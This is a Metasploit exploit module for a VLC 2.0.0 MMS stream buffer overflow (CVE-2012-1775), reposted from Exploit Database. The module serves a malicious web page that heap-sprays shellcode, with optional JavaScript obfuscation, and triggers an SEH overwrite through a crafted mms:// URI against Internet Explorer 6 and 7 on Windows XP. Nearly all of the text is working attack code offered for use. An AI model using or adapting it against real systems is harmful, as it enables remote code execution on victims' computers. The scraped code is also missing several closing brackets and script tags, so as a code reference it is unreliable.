VideoLAN VLC Media Player 2.0.0 – Mms Stream Handling Buffer Overflow (Metasploit)

Exploit Database
111 阅读

作者： Metasploit

日期： 2012-05-03
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/18825/

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# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# web site for more information on licensing and terms of use.

# http://metasploit.com/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info={})

super(update_info(info,

'Name'=> "VLC MMS Stream Handling Buffer Overflow",

'Description' => %q{

This module exploits a buffer overflow in VLC media player VLC media player prior

to 2.0.0. The vulnerability is due to a dangerous use of sprintf which can result

in a stack buffer overflow when handling a malicious MMS URI.

This module uses the browser as attack vector. A specially crafted MMS URI is

used to trigger the overflow and get flow control through SEH overwrite. Control

is transferred to code located in the heap through a standard heap spray.

The module only targets IE6 and IE7 because no DEP/ASLR bypass has been provided.

'License' => MSF_LICENSE,

'Author'=>

[

'Florent Hochwelker', # aka TaPiOn, Vulnerability discovery

'sinn3r', # Metasploit module

'juan vazquez' # Metasploit module

'References' =>

[

['CVE', '2012-1775'],

['OSVDB', '80188'],

['URL', 'http://www.videolan.org/security/sa1201.html'],

# Fix commit diff

['URL', 'http://git.videolan.org/?p=vlc/vlc-2.0.git;a=commit;h=11a95cce96fffdbaba1be6034d7b42721667821c']

'Payload' =>

{

'BadChars'=> "\x00",

'Space' => 1000,

'DefaultOptions' =>

{

'ExitFunction' => "process",

'InitialAutoRunScript' => 'migrate -f',

'Platform' => 'win',

'Targets'=>

[

# Tested with VLC 2.0.0

[ 'Automatic', {} ],

[

'Internet Explorer 6 on XP SP3',

{

'Rop' => false,

# Space needed to overflow and generate an exception

# which allows to get control through SEH overwrite

'Offset' => 5488,

'OffsetShell' => '0x800 - code.length',

'Blocks' => '1550',

'Padding' => '0'

}

[

'Internet Explorer 7 on XP SP3',

{

'Rop' => false,

# Space needed to overflow and generate an exception

# which allows to get control through SEH overwrite

'Offset' => 5488,

'OffsetShell' => '0x800 - code.length',

'Blocks' => '1600',

'Padding' => '1'

}

]

'DisclosureDate' => "Mar 15 2012",

'DefaultTarget' => 0))

register_options(

[

OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])

], self.class)

end

def get_target(cli, request)

#Default target

my_target = target

vprint_status("User-Agent: #{request.headers['User-Agent']}")

if target.name == 'Automatic'

agent = request.headers['User-Agent']

if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/

#Windows XP + IE 6

my_target = targets[1]

elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/

#Windows XP + 7.0

my_target = targets[2]

else

#If we don't recognize the client, we don't fire the exploit

my_target = nil

end

return my_target

end

def on_request_uri(cli, request)

#Pick the right target

my_target = get_target(cli, request)

if my_target.nil?

vprint_error("Target not supported")

send_not_found(cli)

return

end

vprint_status("URL: #{request.uri.to_s}")

#ARCH used by the victim machine

arch = Rex::Arch.endian(my_target.arch)

nops = Rex::Text.to_unescape("\x0c\x0c\x0c\x0c", arch)

code = Rex::Text.to_unescape(payload.encoded, arch)

# Spray overwrites 0x30303030 with our payload

spray = <<-JS

var heap_obj = new heapLib.ie(0x20000);

var code = unescape("#{code}");

var nops = unescape("#{nops}");

while (nops.length < 0x80000) nops += nops;

var offset = nops.substring(0, #{my_target['OffsetShell']});

var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

while (shellcode.length < 0x40000) shellcode += shellcode;

var block = shellcode.substring(0, (0x80000-6)/2);

heap_obj.gc();

for (var i=0; i < #{my_target['Blocks']}; i++) {

heap_obj.alloc(block);

}

#Use heaplib

js_spray = heaplib(spray)

#obfuscate on demand

if datastore['OBFUSCATE']

js_spray = ::Rex::Exploitation::JSObfu.new(js_spray)

js_spray.obfuscate

end

src_ip = Rex::Socket.source_address.split('.')

hex_ip = src_ip.map { |h| [h.to_i].pack('C*')[0].unpack('H*')[0] }.join

# Try to maximize success on IE7 platform:

# If first octet of IP address is minor than 16 pad with zero

# even when heap spray could be not successful.

# Else pad following target heap spray criteria.

if ((hex_ip.to_i(16) >> 24) < 16)

padding_char = '0'

else

padding_char = my_target['Padding']

end

hex_ip = "0x#{padding_char * my_target['Offset']}#{hex_ip}"

html = <<-EOS

<html>

<head>

#{js_spray}

</script>

</head>

<body>

<OBJECT classid="clsid:9BE31822-FDAD-461B-AD51-BE1D1C159921"

codebase="http://downloads.videolan.org/pub/videolan/vlc/latest/win32/axvlc.cab"

width="320"

height="240"

id="vlc" events="True">

<EMBED pluginspage="http://www.videolan.org"

type="application/x-vlc-plugin" progid="VideoLAN.VLCPlugin.2"

width="320"

height="240"

autoplay="yes"

loop="no"

target="mms://#{hex_ip}:#{datastore['SRVPORT']}"

name="vlc">

</EMBED>

</OBJECT>

</body>

</html>

EOS

#Remove extra tabs in HTML

html = html.gsub(/^\t\t/, "")

print_status("Sending malicious page")

send_response( cli, html, {'Content-Type' => 'text/html'} )

end